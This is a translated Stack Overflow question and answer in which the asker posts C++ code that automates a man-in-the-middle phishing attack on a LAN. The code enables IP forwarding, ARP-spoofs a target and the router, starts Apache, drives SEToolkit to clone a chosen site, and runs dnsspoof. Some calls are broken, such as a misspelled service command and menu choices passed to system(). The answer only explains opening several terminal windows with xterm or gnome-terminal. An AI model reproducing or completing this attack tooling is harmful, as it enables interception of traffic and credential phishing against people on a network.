【问题标题】:How do I open multiple separate terminal windows in C++?如何在 C++ 中打开多个单独的终端窗口?
【发布时间】:2018-07-21 18:19:52
【问题描述】:

我的问题是我的代码需要同时运行多个单独的窗口。我还必须能够在这些窗口运行时执行命令。如果有任何相关性,两个连续运行的窗口正在监听 LAN 流量。无论如何,我在 Kali 上运行,所以我不能使用 ConsoleLoggerHelper 文件,因为 .h 文件依赖于 windows.h,这在 Linux 上不起作用。是否有另一种方法可以在多个单独的窗口上创建和运行?此应用程序是使用 Apache2、DNSspoof、ARPspoof 和 SEToolkit 的 MITM 攻击的自动化。到目前为止,这是我的代码:

#include <iostream>
#include <stdio.h>


using namespace std;


int main()

{

string site;
string s_site;
string t_ip;
string u_ip;
char yorn;
string arp_t;
string arp_r;

//Remember to put in the option the change to interface type, i.e: wlan0

string arp_s;
arp_s = "arpspoof -i eth0 -t";
string set;
set = "setoolkit";
string enable_echo;
enable_echo = "echo 1 > /proc/sys/net/ipv4/ip_forward";
string s_dns;
s_dns = "dnsspoof -i eth0 -f hosts.txt";
string enable_apache;
enable_apache = "servive apache2 start";
string router_ip;
router_ip = "192.168.1.1";

cout << "This program will perform a MITM-Phishing attack. DO you want to continue? y/n: ";
cin >> yorn;

    if (yorn == 'y')

    {

        cout << "What is the local IP address of your target?: ";
        cin >> t_ip;
        cout << "What is your local IP address?: ";
        cin >> u_ip;
        cout << "What is the EXACT URL of the website you wish to clone?: ";
        cin >> site;
        cout << "what do you wish the name your spoofed website to be?: ";
        cin >> s_site;

        system(enable_echo.c_str());

        //New window

        arp_t = arp_s + " " + t_ip + " " + router_ip;
        system(arp_t.c_str());

        //New window

        arp_r = arp_s + " " + router_ip + " " + t_ip;
        system(arp_r.c_str());

        //New window

        system(enable_apache.c_str());

        //New window

        system(set.c_str());
        system("1");
        system("2");
        system("3");
        system("2");
        system(u_ip.c_str());
        system(site.c_str());

        //New window

        system(s_dns.c_str());

        return 0;

    }

    else

    {

        cout << "Aborting program..." << endl;

        return 0;

    }

}

【问题讨论】:

  • 这对我来说太宽泛了。您想在单独但连接的进程或所有相同的进程中打开终端吗?您可以使用脚本打开各种终端吗?您是否需要能够在各个终端之间进行信息通信?这里有很多可能性。
  • 好点我会解决这个问题。我的意思是单独的终端。
  • 也许是system("xterm -e ..... &amp;")。在终端中尝试xterm -e "ls" &amp;
  • 如果您能弄清楚哪些信息需要与终端进程进行通信,这将有助于选择最佳方法。你写了所有的部分,还是一些终端运行股票 POSIX 应用程序?
  • 你应该真正发现 shell 脚本,而不是在 C++ 中与之抗争

标签: c++ linux


【解决方案1】:

你正试图用一种非常困难的方法来解决一个经典的小问题。你有几种方法可以解决它:

  1. 不要使用控制台应用程序,而是使用 GUI,并创建多个窗口。 Qt 和 GTK 等所有主要库都支持这一点。
  2. 写入多个文件句柄并启动多个 xterm(或 gnome-terminal,或系统上存在的任何其他实例)实例,并在这些终端上执行 cat、tail 或更少的输出。
  3. 拥有多个网关,例如侦听 TCP 端口,并拥有多个连接到这些网关的文本模式客户端。您还可以远程登录到非常容易实现的 TCP 服务器。 CORBA和Shared Memory也很不错,其实所有的IPC机制,也是类似情况下要使用的,但是大部分的IPC机制似乎对你想做的事情来说太多了(你只是想显示一些日志) .

第二个或多或少是最有效且最容易实现的。有关更多信息,您需要告诉我们更多关于您在做什么以及您的工具链是什么。但是在所有这些解决方案中(第一个除外),都有多个过程。如果我正确理解了您的问题,那么您的目标是单一流程解决方案,我认为这是解决您的问题的一种非常困难的方法。


好的,你正在使用 cpp,我建议为你的不同输出打开几个 fstream,可能像这样

FILE* f = fopen("/path/to/one/file", "w+");
std::fstream myStream(f);
myStream << "Hello World\n";

然后使用输出这些文件的 shell 命令启动 xterm 的几个进程,例如:

tail -f /path/to/one/file

这会变成这样:

system("gnome-terminal -x sh -c 'tail -f /path/to/one/file'");

system("xterm -e 'sh -c \"tail -f /path/to/one/file\"'");

甚至可能

system("xterm -e 'tail -f /path/to/one/file'");

对每个输出执行一次,然后就完成了。只需继续写入这些 fstream,它们都会显示在其中一个控制台中。

【讨论】:

  • 我已经添加了代码并试图解释它的作用,希望对您有所帮助。
  • @Stormy 我更新了 xterm 参数并添加了 gnome-terminal 命令。之前的 xterm 命令有问题。
  • 哈哈,我正要问这个。我认为该术语没有-x。感谢您调整您的建议!
  • @Stromy :-) 好的,如果您将此标记为答案,那就太好了!
猜你喜欢
  • 2020-04-27
  • 1970-01-01
  • 2020-09-10
  • 2013-10-28
  • 2020-01-25
  • 2016-08-16
  • 2021-08-11
  • 1970-01-01
  • 2023-03-23
相关资源
最近更新 更多